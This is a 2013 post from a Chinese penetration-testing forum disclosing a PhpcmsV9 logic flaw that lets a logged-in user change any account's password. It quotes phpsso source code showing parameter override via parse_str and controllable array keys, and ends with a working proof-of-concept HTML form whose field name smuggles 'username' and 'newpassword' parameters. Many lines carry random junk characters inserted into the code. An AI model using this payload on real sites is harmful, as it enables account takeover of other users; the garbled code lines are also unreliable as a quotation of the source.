中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
% l: z  X. l3 ?& i* C
0 P) v( |0 B) k2 O- D5 r5 Q$ `0 n- V" j( s* e/ J6 X
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
0 q- f+ }( R' G0 Z4 v# w
! ]" e' z* @$ w0 }7 e在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
& ^* W* n- q9 N) v
& V) r+ l  ^% J7 s' |& `我把它留给了你们。4 A6 d& }2 Y# X2 G
不知道你们发现了它没有。1 S8 p' o' \* |! @) ?
* I" t* B% Q1 L' C
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。; n# c9 }- V4 c7 r

4 {  Q; W! H5 t所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
% i1 h9 u% W7 C5 M/ j" O: T+ e* _+ r2 z7 O
也就是" o  W% s% d7 ]
! C5 j+ t9 H: a( |$ F
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
7 q2 o- Q0 F' L& ?7 f3 z5 {7 V2 I" u" |/ e* H
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
8 L( d$ s! g  b4 \' Y. L$ Q
+ X6 \. Y8 F+ p+ U% M
) m- p9 ]1 [9 `* j7 |5 Y; }7 g' e9 k其实我们有这样的机会,看看代码,如下:
/ ]+ @4 L* A* `0 K8 S( }& w
4 K/ ~5 Q0 N$ l2 W1 d5 I4 |1 g- S
+ ?7 A& t' U% Y$ e' T5 A& A- `: w: upublic function auth_data($data) {8 z3 L- u& Y& j9 E' z" _
                $s = $sep = '';, |& X  Z( W8 ?$ t5 j& j
                foreach($data as $k => $v) {0 e7 \* _# ^* R1 }% ^5 y3 ]
                        if(is_array($v)) {/ h: ]" e5 S& k/ z0 d6 h5 J5 W$ _
                                $s2 = $sep2 = '';
8 E/ R6 X$ u/ m9 n; {                                foreach($v as $k2 => $v2) {
' w5 m! r' Q6 d1 A0 Z' Z' i                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);# [  [5 h; A/ |7 Z7 b
                                        $sep2 = '&';
% ]3 q* S( L. C6 a0 p* Q                                }
, `8 K' a: U' D, B                                $s .= $sep.$s2;
2 L) ~- O; e% K: N                        } else {
& A6 F5 v! n" R3 R) R! Z. h( z$ m                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
. K4 f7 A% E& @. Q- A% c                        }, n3 D( }6 ]1 C  b4 n  \: N1 b
                        $sep = '&';  e$ b9 \4 D$ |% Q0 C
                }5 y/ I1 m9 A0 [7 ]7 C

0 g2 F9 S; x* |4 s, N" K. m                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
" M( G+ g- M8 R5 T5 l                return $auth_s;6 U4 x3 Q: @9 C+ ]
        }6 @' e! {# s& y  u" ]3 v: X

7 ^+ {. Q1 n8 f可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。# a" X: T, R8 P, Q

7 j  v. M/ A) \举个例子
4 I% U3 i' B$ ~, S2 P5 m! q
2 Y1 w4 w  s. @% j4 D$a[aaa=a&bbb] = 'a';; a" Q; O) |" _3 c7 L
' p& U8 F4 G- c3 g+ u; R. }7 e
会变成aaa=a&bbb=a
: O/ B; \( _8 u2 M' {) o1 |
: U7 C2 t& f2 d; c* ^) J明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
, A' Y2 m2 ]; h- [( c2 J) _, }. W1 w  u$ E
这个时候,我们可以再去看一个函数。  E; E2 u4 X6 m0 a# o- |6 d0 \/ g$ E
1 ?) u2 q0 X% O. V
就在这个文件内:. n5 i5 A% `$ \. V! J

% L" @# P4 O: y2 L
# x7 j1 x! l5 x6 spublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {% `- ^4 j- E2 ^  \, T/ L! x
                if($email && !$this->_is_email($email)) {0 B. V/ ~! N; \$ w1 Y' y% f
                        return -4;
) \& T4 L4 l" g/ \) l                }8 |) K8 A  R2 ?5 d
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));' i# M5 Q% E% O/ n. c. p+ I5 |
        }3 n" @' ]4 i4 k9 _/ Z; C& l

% k' h/ N  h. f! w这是向通行证发了这样一个请求。
0 s; Z8 ]2 Y' b4 V$ v8 ]3 D* T# d9 ]! Q8 n9 ~2 t5 S' h% @# f
我们再跟到通信证代码里去看看,就会有所发现。9 f7 s6 N! H8 R, E: D

. d7 J7 N! C' M/ s$ E% `/ r
4 a/ E2 ]( d  q0 q9 g( t7 Rpublic function edit() {
6 J0 \3 ~2 W9 T9 Y# d7 ?; t//能省就省,太长了不是吗?
$ [4 n3 D! d; U, b+ ^
4 y8 V# p: B2 T4 I* v" zif($this->username) {
; ]( d- J0 }: ~# H( r//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; V4 `  T( E( t/ W                                $res = $this->db->update($data, array('username'=>$this->username));
* B; B0 W% g9 M3 r                        } else {) D9 w- Z  c, s8 U0 H0 m9 s7 {; x
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);& E& Q* a, f5 U1 ?5 g) ]- o
                                $res = $this->db->update($data, array('uid'=>$this->uid));
1 H1 v/ K5 B! e2 t: w: d! ~                        }
. p4 k! K# O& S# U0 ?5 x6 r* p, |' s
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
' z, J; M* K7 r5 X! p7 k4 Z  r1 X2 ?0 H+ n
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
2 k3 s; [/ ^2 t
' N. Z; f' X5 f/ M% J6 a1 i7 O很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。, n% b; x' ?% Q6 Y2 p

2 h8 D& G1 c& G; U我当然找到了:# C9 ?' M; ~6 c
phpcms9/phpcms/modules/member/index.php3 b) I/ g, \; Y& k7 L0 b0 J" y

* R4 z% T% y8 a+ Y. M$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);/ g3 d; _. Z+ h% b' {, j9 _

; F2 |: S8 v% O9 S) U( Q& F& M然后就没有然后了。
& m8 y5 h2 p" R. {' R* W* Q; Q1 t7 I& Q+ O
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">& u2 N, _5 i+ W! o- o# E+ x: c- }- e
                                <table width="100%" cellspacing="0" class="table_form">
6 V* C& a1 p& V/ V* e% b                                        <tr>
( V4 o* c& ]5 x6 ?; Z, c                                                <th width="80">邮箱:</th>        
0 P! p0 `, m; r2 W( m* ~                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>6 k$ l2 V0 n$ z# e8 y  x0 L+ @
                                        </tr>
* C2 f5 [" m4 v. S( y                                        <tr>
; \7 e, n0 o, q  l" O                                                <th width="80">原密码:</th>        $ I7 X5 @1 u+ Y5 C2 @# A$ M+ W
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
5 \& q3 M) R5 C5 g# k; k6 x$ X& N9 Z  g                                        </tr>* i) L3 S2 y8 b' j
                                        <tr>- D; Z5 M- \4 ~2 {+ o- T
                                                <th>新密码:</th>
7 Z9 _0 C7 W7 [0 T                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>* j4 E% ?( }4 M' m. b; ^$ j
                                        </tr>& O. ?) B9 N3 R1 [9 Q4 ^1 ^
                                        <th></th>
+ F$ X( o- J2 W                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
, V) b/ s0 p2 ~                                        </tr>
) b9 t* K& I. q8 G6 v; |/ J                                </table>
/ V. z) z% @; N( ~1 O! w: h8 h* M
                               
6 r' R. O( h% w5 {! J$ z& v                        </form>
$ W- n. u7 t$ W# l




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2